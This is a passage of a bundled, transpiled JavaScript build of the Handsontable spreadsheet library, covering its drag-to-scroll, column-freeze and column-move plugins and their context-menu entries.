return; } this.setBoundaries(scrollHandler.getBoundingClientRect()); this.setCallback(function (scrollX, scrollY) { if (scrollX < 0) { scrollHandler.scrollLeft -= 50; } else if (scrollX > 0) { scrollHandler.scrollLeft += 50; } if (scrollY < 0) { scrollHandler.scrollTop -= 20; } else if (scrollY > 0) { scrollHandler.scrollTop += 20; } }); this.listening = true; } /** * 'mouseMove' event callback. * * @private * @param {MouseEvent} event `mousemove` event properties. */ }, { key: "onMouseMove", value: function onMouseMove(event) { if (this.listening) { this.check(event.clientX, event.clientY); } } /** * `onMouseUp` hook callback. * * @private */ }, { key: "onMouseUp", value: function onMouseUp() { this.listening = false; } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { _get(_getPrototypeOf(DragToScroll.prototype), "destroy", this).call(this); } }]); return DragToScroll; }(_base.default); (0, _plugins.registerPlugin)('dragToScroll', DragToScroll); var _default = DragToScroll; exports.default = _default; /***/ }), /* 719 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _plugins = __webpack_require__(13); var _array = __webpack_require__(3); var _freezeColumn = _interopRequireDefault(__webpack_require__(720)); var _unfreezeColumn = _interopRequireDefault(__webpack_require__(721)); __webpack_require__(722); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } var privatePool = new WeakMap(); /** * This plugin allows to manually "freeze" and "unfreeze" a column using an entry in the Context Menu or using API. * You can turn it on by setting a {@link Options#manualColumnFreeze} property to `true`. * * @example * ```js * // Enables the plugin * manualColumnFreeze: true, * ``` * * @plugin ManualColumnFreeze * @dependencies ManualColumnMove */ var ManualColumnFreeze = /*#__PURE__*/ function (_BasePlugin) { _inherits(ManualColumnFreeze, _BasePlugin); function ManualColumnFreeze(hotInstance) { var _this; _classCallCheck(this, ManualColumnFreeze); _this = _possibleConstructorReturn(this, _getPrototypeOf(ManualColumnFreeze).call(this, hotInstance)); privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { moveByFreeze: false, afterFirstUse: false }); /** * Original column positions * * @private * @type {Array} */ _this.frozenColumnsBasePositions = []; /** * Reference to the `ManualColumnMove` plugin. * * @private * @type {ManualColumnMove} */ _this.manualColumnMovePlugin = void 0; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ManualColumnFreeze#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ManualColumnFreeze, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().manualColumnFreeze; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.addHook('afterContextMenuDefaultOptions', function (options) { return _this2.addContextMenuEntry(options); }); this.addHook('afterInit', function () { return _this2.onAfterInit(); }); this.addHook('beforeColumnMove', function (rows, target) { return _this2.onBeforeColumnMove(rows, target); }); _get(_getPrototypeOf(ManualColumnFreeze.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { var priv = privatePool.get(this); priv.afterFirstUse = false; priv.moveByFreeze = false; _get(_getPrototypeOf(ManualColumnFreeze.prototype), "disablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(ManualColumnFreeze.prototype), "updatePlugin", this).call(this); } /** * Freezes the given column (add it to fixed columns). * * @param {Number} column Visual column index. */ }, { key: "freezeColumn", value: function freezeColumn(column) { var priv = privatePool.get(this); var settings = this.hot.getSettings(); if (!priv.afterFirstUse) { priv.afterFirstUse = true; } if (settings.fixedColumnsLeft === this.hot.countCols() || column <= settings.fixedColumnsLeft - 1) { return; // already fixed } priv.moveByFreeze = true; if (column !== this.getMovePlugin().columnsMapper.getValueByIndex(column)) { this.frozenColumnsBasePositions[settings.fixedColumnsLeft] = column; } this.getMovePlugin().moveColumn(column, settings.fixedColumnsLeft); settings.fixedColumnsLeft += 1; } /** * Unfreezes the given column (remove it from fixed columns and bring to it's previous position). * * @param {Number} column Visual column index. */ }, { key: "unfreezeColumn", value: function unfreezeColumn(column) { var priv = privatePool.get(this); var settings = this.hot.getSettings(); if (!priv.afterFirstUse) { priv.afterFirstUse = true; } if (settings.fixedColumnsLeft <= 0 || column > settings.fixedColumnsLeft - 1) { return; // not fixed } var returnCol = this.getBestColumnReturnPosition(column); priv.moveByFreeze = true; settings.fixedColumnsLeft -= 1; this.getMovePlugin().moveColumn(column, returnCol + 1); } /** * Gets the reference to the ManualColumnMove plugin. * * @private * @returns {Object} */ }, { key: "getMovePlugin", value: function getMovePlugin() { if (!this.manualColumnMovePlugin) { this.manualColumnMovePlugin = this.hot.getPlugin('manualColumnMove'); } return this.manualColumnMovePlugin; } /** * Estimates the most fitting return position for unfrozen column. * * @private * @param {Number} column Visual column index. */ }, { key: "getBestColumnReturnPosition", value: function getBestColumnReturnPosition(column) { var movePlugin = this.getMovePlugin(); var settings = this.hot.getSettings(); var i = settings.fixedColumnsLeft; var j = movePlugin.columnsMapper.getValueByIndex(i); var initialCol; if (this.frozenColumnsBasePositions[column] === null || this.frozenColumnsBasePositions[column] === void 0) { initialCol = movePlugin.columnsMapper.getValueByIndex(column); while (j !== null && j <= initialCol) { i += 1; j = movePlugin.columnsMapper.getValueByIndex(i); } } else { initialCol = this.frozenColumnsBasePositions[column]; this.frozenColumnsBasePositions[column] = void 0; while (j !== null && j <= initialCol) { i += 1; j = movePlugin.columnsMapper.getValueByIndex(i); } i = j; } return i - 1; } /** * Adds the manualColumnFreeze context menu entries. * * @private * @param {Object} options Context menu options. */ }, { key: "addContextMenuEntry", value: function addContextMenuEntry(options) { options.items.push({ name: '---------' }, (0, _freezeColumn.default)(this), (0, _unfreezeColumn.default)(this)); } /** * Enables `manualColumnMove` plugin on `afterInit` hook. * * @private */ }, { key: "onAfterInit", value: function onAfterInit() { if (!this.getMovePlugin().isEnabled()) { this.getMovePlugin().enablePlugin(); } } /** * Prevents moving the rows from/to fixed area. * * @private * @param {Array} rows * @param {Number} target */ }, { key: "onBeforeColumnMove", value: function onBeforeColumnMove(rows, target) { var priv = privatePool.get(this); if (priv.afterFirstUse && !priv.moveByFreeze) { var frozenLen = this.hot.getSettings().fixedColumnsLeft; var disallowMoving = target < frozenLen; if (!disallowMoving) { (0, _array.arrayEach)(rows, function (value) { if (value < frozenLen) { disallowMoving = true; return false; } }); } if (disallowMoving) { return false; } } if (priv.moveByFreeze) { priv.moveByFreeze = false; } } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { _get(_getPrototypeOf(ManualColumnFreeze.prototype), "destroy", this).call(this); } }]); return ManualColumnFreeze; }(_base.default); (0, _plugins.registerPlugin)('manualColumnFreeze', ManualColumnFreeze); var _default = ManualColumnFreeze; exports.default = _default; /***/ }), /* 720 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = freezeColumnItem; var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function freezeColumnItem(manualColumnFreezePlugin) { return { key: 'freeze_column', name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_FREEZE_COLUMN); }, callback: function callback(key, selected) { var _selected = _slicedToArray(selected, 1), selectedColumn = _selected[0].start.col; manualColumnFreezePlugin.freezeColumn(selectedColumn); this.render(); this.view.wt.wtOverlays.adjustElementsSize(true); }, hidden: function hidden() { var selection = this.getSelectedRange(); var hide = false; if (selection === void 0) { hide = true; } else if (selection.length > 1) { hide = true; } else if (selection[0].from.col !== selection[0].to.col || selection[0].from.col <= this.getSettings().fixedColumnsLeft - 1) { hide = true; } return hide; } }; } /***/ }), /* 721 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = unfreezeColumnItem; var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function unfreezeColumnItem(manualColumnFreezePlugin) { return { key: 'unfreeze_column', name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_UNFREEZE_COLUMN); }, callback: function callback(key, selected) { var _selected = _slicedToArray(selected, 1), selectedColumn = _selected[0].start.col; manualColumnFreezePlugin.unfreezeColumn(selectedColumn); this.render(); this.view.wt.wtOverlays.adjustElementsSize(true); }, hidden: function hidden() { var selection = this.getSelectedRange(); var hide = false; if (selection === void 0) { hide = true; } else if (selection.length > 1) { hide = true; } else if (selection[0].from.col !== selection[0].to.col || selection[0].from.col >= this.getSettings().fixedColumnsLeft) { hide = true; } return hide; } }; } /***/ }), /* 722 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 723 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _array = __webpack_require__(3); var _element = __webpack_require__(1); var _number = __webpack_require__(9); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _plugins = __webpack_require__(13); var _columnsMapper = _interopRequireDefault(__webpack_require__(724)); var _backlight = _interopRequireDefault(__webpack_require__(725)); var _guideline = _interopRequireDefault(__webpack_require__(726)); __webpack_require__(727); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } _pluginHooks.default.getSingleton().register('beforeColumnMove'); _pluginHooks.default.getSingleton().register('afterColumnMove'); _pluginHooks.default.getSingleton().register('unmodifyCol'); var privatePool = new WeakMap(); var CSS_PLUGIN = 'ht__manualColumnMove'; var CSS_SHOW_UI = 'show-ui'; var CSS_ON_MOVING = 'on-moving--columns'; var CSS_AFTER_SELECTION = 'after-selection--columns'; /** * @plugin ManualColumnMove * * @description * This plugin allows to change columns order. To make columns order persistent the {@link Options#persistentState} * plugin should be enabled. * * API: * - moveColumn - move single column to the new position. * - moveColumns - move many columns (as an array of indexes) to the new position. * * If you want apply visual changes, you have to call manually the render() method on the instance of Handsontable. * * The plugin creates additional components to make moving possibly using user interface: * - backlight - highlight of selected columns. * - guideline - line which shows where rows has been moved. * * @class ManualColumnMove * @plugin ManualColumnMove */ var ManualColumnMove = /*#__PURE__*/ function (_BasePlugin) { _inherits(ManualColumnMove, _BasePlugin); function ManualColumnMove(hotInstance) { var _this; _classCallCheck(this, ManualColumnMove); _this = _possibleConstructorReturn(this, _getPrototypeOf(ManualColumnMove).call(this, hotInstance)); /** * Set up WeakMap of plugin to sharing private parameters; */ privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { columnsToMove: [], countCols: 0, fixedColumns: 0, pressed: void 0, disallowMoving: void 0, target: { eventPageX: void 0, coords: void 0, TD: void 0, col: void 0 } }); /** * List of last removed row indexes. * * @private * @type {Array} */ _this.removedColumns = []; /** * Object containing visual row indexes mapped to data source indexes. * * @private * @type {RowsMapper} */ _this.columnsMapper = new _columnsMapper.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Event Manager object. * * @private * @type {Object} */ _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Backlight UI object. * * @private * @type {Object} */ _this.backlight = new _backlight.default(hotInstance); /** * Guideline UI object. * * @private * @type {Object} */ _this.guideline = new _guideline.default(hotInstance); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ManualColumnMove#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ManualColumnMove, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().manualColumnMove; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.addHook('beforeOnCellMouseDown', function (event, coords, TD, blockCalculations) { return _this2.onBeforeOnCellMouseDown(event, coords, TD, blockCalculations); }); this.addHook('beforeOnCellMouseOver', function (event, coords, TD, blockCalculations) { return _this2.onBeforeOnCellMouseOver(event, coords, TD, blockCalculations); }); this.addHook('afterScrollVertically', function () { return _this2.onAfterScrollVertically(); }); this.addHook('modifyCol', function (row, source) { return _this2.onModifyCol(row, source); }); this.addHook('beforeRemoveCol', function (index, amount) { return _this2.onBeforeRemoveCol(index, amount); }); this.addHook('afterRemoveCol', function () { return _this2.onAfterRemoveCol(); }); this.addHook('afterCreateCol', function (index, amount) { return _this2.onAfterCreateCol(index, amount); }); this.addHook('afterLoadData', function () { return _this2.onAfterLoadData(); }); this.addHook('unmodifyCol', function (column) { return _this2.onUnmodifyCol(column); }); this.registerEvents(); // TODO: move adding plugin classname to BasePlugin. (0, _element.addClass)(this.hot.rootElement, CSS_PLUGIN); _get(_getPrototypeOf(ManualColumnMove.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); this.onAfterPluginsInitialized(); _get(_getPrototypeOf(ManualColumnMove.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { var pluginSettings = this.hot.getSettings().manualColumnMove; if (Array.isArray(pluginSettings)) { this.columnsMapper.clearMap(); } (0, _element.removeClass)(this.hot.rootElement, CSS_PLUGIN); this.unregisterEvents(); this.backlight.destroy(); this.guideline.destroy(); _get(_getPrototypeOf(ManualColumnMove.prototype), "disablePlugin", this).call(this); } /** * Moves a single column. * * @param {Number} column Visual column index to be moved. * @param {Number} target Visual column index being a target for the moved column. * @fires Hooks#beforeColumnMove * @fires Hooks#afterColumnMove */ }, { key: "moveColumn", value: function moveColumn(column, target) { this.moveColumns([column], target); } /** * Moves a multiple columns. * * @param {Array} columns Array of visual column indexes to be moved. * @param {Number} target Visual column index being a target for the moved columns. * @fires Hooks#beforeColumnMove * @fires Hooks#afterColumnMove */ }, { key: "moveColumns", value: function moveColumns(columns, target) { var _this3 = this; var visualColumns = _toConsumableArray(columns); var priv = privatePool.get(this); var beforeColumnHook = this.hot.runHooks('beforeColumnMove', visualColumns, target); priv.disallowMoving = !beforeColumnHook; if (beforeColumnHook !== false) { // first we need to rewrite an visual indexes to physical for save reference after move (0, _array.arrayEach)(columns, function (column, index, array) { array[index] = _this3.columnsMapper.getValueByIndex(column); }); // next, when we have got an physical indexes, we can move columns (0, _array.arrayEach)(columns, function (column, index) { var actualPosition = _this3.columnsMapper.getIndexByValue(column); if (actualPosition !== target) { _this3.columnsMapper.moveColumn(actualPosition, target + index); } }); // after moving we have to clear columnsMapper from null entries this.columnsMapper.clearNull(); } this.hot.runHooks('afterColumnMove', visualColumns, target); } /** * Correct the cell selection after the move action. Fired only when action was made with a mouse. * That means that changing the column order using the API won't correct the selection. * * @private * @param {Number} startColumn Visual column index for the start of the selection. * @param {Number} endColumn Visual column index for the end of the selection. */ }, { key: "changeSelection", value: function changeSelection(startColumn, endColumn) { this.hot.selectColumns(startColumn, endColumn); } /** * Gets the sum of the widths of columns in the provided range. * * @private * @param {Number} from Visual column index. * @param {Number} to Visual column index. * @returns {Number} */ }, { key: "getColumnsWidth", value: function getColumnsWidth(from, to) { var width = 0; for (var i = from; i < to; i++) { var columnWidth = 0; if (i < 0) { columnWidth = this.hot.view.wt.wtViewport.getRowHeaderWidth() || 0; } else { columnWidth = this.hot.view.wt.wtTable.getStretchedColumnWidth(i) || 0; } width += columnWidth; } return width; } /** * Loads initial settings when persistent state is saved or when plugin was initialized as an array. * * @private */ }, { key: "initialSettings", value: function initialSettings() { var pluginSettings = this.hot.getSettings().manualColumnMove; if (Array.isArray(pluginSettings)) { this.moveColumns(pluginSettings, 0); } else if (pluginSettings !== void 0) { this.persistentStateLoad(); } } /** * Checks if the provided column is in the fixedColumnsLeft section. * * @private * @param {Number} column Visual column index to check. * @returns {Boolean} */ }, { key: "isFixedColumnsLeft", value: function isFixedColumnsLeft(column) { return column < this.hot.getSettings().fixedColumnsLeft; } /** * Saves the manual column positions to the persistent state (the {@link Options#persistentState} option has to be enabled). */ }, { key: "persistentStateSave", value: function persistentStateSave() { this.hot.runHooks('persistentStateSave', 'manualColumnMove', this.columnsMapper._arrayMap); } /** * Loads the manual column positions from the persistent state (the {@link Options#persistentState} option has to be enabled). */ }, { key: "persistentStateLoad", value: function persistentStateLoad() { var storedState = {}; this.hot.runHooks('persistentStateLoad', 'manualColumnMove', storedState); if (storedState.value) { this.columnsMapper._arrayMap = storedState.value; } } /** * Prepares an array of indexes based on actual selection. * * @private * @returns {Array} */ }, { key: "prepareColumnsToMoving", value: function prepareColumnsToMoving(start, end) { var selectedColumns = []; (0, _number.rangeEach)(start, end, function (i) { selectedColumns.push(i); }); return selectedColumns; } /** * Updates the UI visual position. * * @private */ }, { key: "refreshPositions", value: function refreshPositions() { var priv = privatePool.get(this); var firstVisible = this.hot.view.wt.wtTable.getFirstVisibleColumn(); var lastVisible = this.hot.view.wt.wtTable.getLastVisibleColumn(); var wtTable = this.hot.view.wt.wtTable; var scrollableElement = this.hot.view.wt.wtOverlays.scrollableElement; var scrollLeft = typeof scrollableElement.scrollX === 'number' ? scrollableElement.scrollX : scrollableElement.scrollLeft; var tdOffsetLeft = this.hot.view.THEAD.offsetLeft + this.getColumnsWidth(0, priv.coordsColumn); var mouseOffsetLeft = priv.target.eventPageX - (priv.rootElementOffset - (scrollableElement.scrollX === void 0 ? scrollLeft : 0)); var hiderWidth = wtTable.hider.offsetWidth; var tbodyOffsetLeft = wtTable.TBODY.offsetLeft; var backlightElemMarginLeft = this.backlight.getOffset().left; var backlightElemWidth = this.backlight.getSize().width; var rowHeaderWidth = 0; if (priv.rootElementOffset + wtTable.holder.offsetWidth + scrollLeft < priv.target.eventPageX) { if (priv.coordsColumn < priv.countCols) { priv.coordsColumn += 1; } } if (priv.hasRowHeaders) { rowHeaderWidth = this.hot.view.wt.wtOverlays.leftOverlay.clone.wtTable.getColumnHeader(-1).offsetWidth; } if (this.isFixedColumnsLeft(priv.coordsColumn)) { tdOffsetLeft += scrollLeft; } tdOffsetLeft += rowHeaderWidth; if (priv.coordsColumn < 0) { // if hover on rowHeader if (priv.fixedColumns > 0) { priv.target.col = 0; } else { priv.target.col = firstVisible > 0 ? firstVisible - 1 : firstVisible; } } else if (priv.target.TD.offsetWidth / 2 + tdOffsetLeft <= mouseOffsetLeft) { var newCoordsCol = priv.coordsColumn >= priv.countCols ? priv.countCols - 1 : priv.coordsColumn; // if hover on right part of TD priv.target.col = newCoordsCol + 1; // unfortunately first column is bigger than rest tdOffsetLeft += priv.target.TD.offsetWidth; if (priv.target.col > lastVisible && lastVisible < priv.countCols) { this.hot.scrollViewportTo(void 0, lastVisible + 1, void 0, true); } } else { // elsewhere on table priv.target.col = priv.coordsColumn; if (priv.target.col <= firstVisible && priv.target.col >= priv.fixedColumns && firstVisible > 0) { this.hot.scrollViewportTo(void 0, firstVisible - 1); } } if (priv.target.col <= firstVisible && priv.target.col >= priv.fixedColumns && firstVisible > 0) { this.hot.scrollViewportTo(void 0, firstVisible - 1); } var backlightLeft = mouseOffsetLeft; var guidelineLeft = tdOffsetLeft; if (mouseOffsetLeft + backlightElemWidth + backlightElemMarginLeft >= hiderWidth) { // prevent display backlight on the right side of the table backlightLeft = hiderWidth - backlightElemWidth - backlightElemMarginLeft; } else if (mouseOffsetLeft + backlightElemMarginLeft < tbodyOffsetLeft + rowHeaderWidth) { // prevent display backlight on the left side of the table backlightLeft = tbodyOffsetLeft + rowHeaderWidth + Math.abs(backlightElemMarginLeft); } if (tdOffsetLeft >= hiderWidth - 1) { // prevent display guideline outside the table guidelineLeft = hiderWidth - 1; } else if (guidelineLeft === 0) { // guideline has got `margin-left: -1px` as default guidelineLeft = 1; } else if (scrollableElement.scrollX !== void 0 && priv.coordsColumn < priv.fixedColumns) { guidelineLeft -= priv.rootElementOffset <= scrollableElement.scrollX ? priv.rootElementOffset : 0; } this.backlight.setPosition(null, backlightLeft); this.guideline.setPosition(null, guidelineLeft); } /** * This method checks arrayMap from columnsMapper and updates the columnsMapper if it's necessary. * * @private */ }, { key: "updateColumnsMapper", value: function updateColumnsMapper() { var countCols = this.hot.countSourceCols(); var columnsMapperLen = this.columnsMapper._arrayMap.length; if (columnsMapperLen === 0) { this.columnsMapper.createMap(countCols || this.hot.getSettings().startCols); } else if (columnsMapperLen < countCols) { var diff = countCols - columnsMapperLen; this.columnsMapper.insertItems(columnsMapperLen, diff); } else if (columnsMapperLen > countCols) { var maxIndex = countCols - 1; var columnsToRemove = []; (0, _array.arrayEach)(this.columnsMapper._arrayMap, function (value, index) { if (value > maxIndex) { columnsToRemove.push(index); } }); this.columnsMapper.removeItems(columnsToRemove); } } /** * Binds the events used by the plugin. * * @private */ }, { key: "registerEvents", value: function registerEvents() { var _this4 = this; this.eventManager.addEventListener(document.documentElement, 'mousemove', function (event) { return _this4.onMouseMove(event); }); this.eventManager.addEventListener(document.documentElement, 'mouseup', function () { return _this4.onMouseUp(); }); } /** * Unbinds the events used by the plugin. * * @private */ }, { key: "unregisterEvents", value: function unregisterEvents() { this.eventManager.clear(); } /** * Changes the behavior of selection / dragging. * * @private * @param {MouseEvent} event `mousedown` event properties. * @param {CellCoords} coords Visual cell coordinates where was fired event. * @param {HTMLElement} TD Cell represented as HTMLElement. * @param {Object} blockCalculations Object which contains information about blockCalculation for row, column or cells. */ }, { key: "onBeforeOnCellMouseDown", value: function onBeforeOnCellMouseDown(event, coords, TD, blockCalculations) { var wtTable = this.hot.view.wt.wtTable; var isHeaderSelection = this.hot.selection.isSelectedByColumnHeader(); var selection = this.hot.getSelectedRangeLast(); var priv = privatePool.get(this); // This block action shouldn't be handled below. var isSortingElement = event.realTarget.className.indexOf('sortAction') > -1; if (!selection || !isHeaderSelection || priv.pressed || event.button !== 0 || isSortingElement) { priv.pressed = false; priv.columnsToMove.length = 0; (0, _element.removeClass)(this.hot.rootElement, [CSS_ON_MOVING, CSS_SHOW_UI]); return; } var guidelineIsNotReady = this.guideline.isBuilt() && !this.guideline.isAppended(); var backlightIsNotReady = this.backlight.isBuilt() && !this.backlight.isAppended(); if (guidelineIsNotReady && backlightIsNotReady) { this.guideline.appendTo(wtTable.hider); this.backlight.appendTo(wtTable.hider); } var from = selection.from, to = selection.to; var start = Math.min(from.col, to.col); var end = Math.max(from.col, to.col); if (coords.row < 0 && coords.col >= start && coords.col <= end) { blockCalculations.column = true; priv.pressed = true; priv.target.eventPageX = event.pageX; priv.coordsColumn = coords.col; priv.target.TD = TD; priv.target.col = coords.col; priv.columnsToMove = this.prepareColumnsToMoving(start, end); priv.hasRowHeaders = !!this.hot.getSettings().rowHeaders; priv.countCols = this.hot.countCols(); priv.fixedColumns = this.hot.getSettings().fixedColumnsLeft; priv.rootElementOffset = (0, 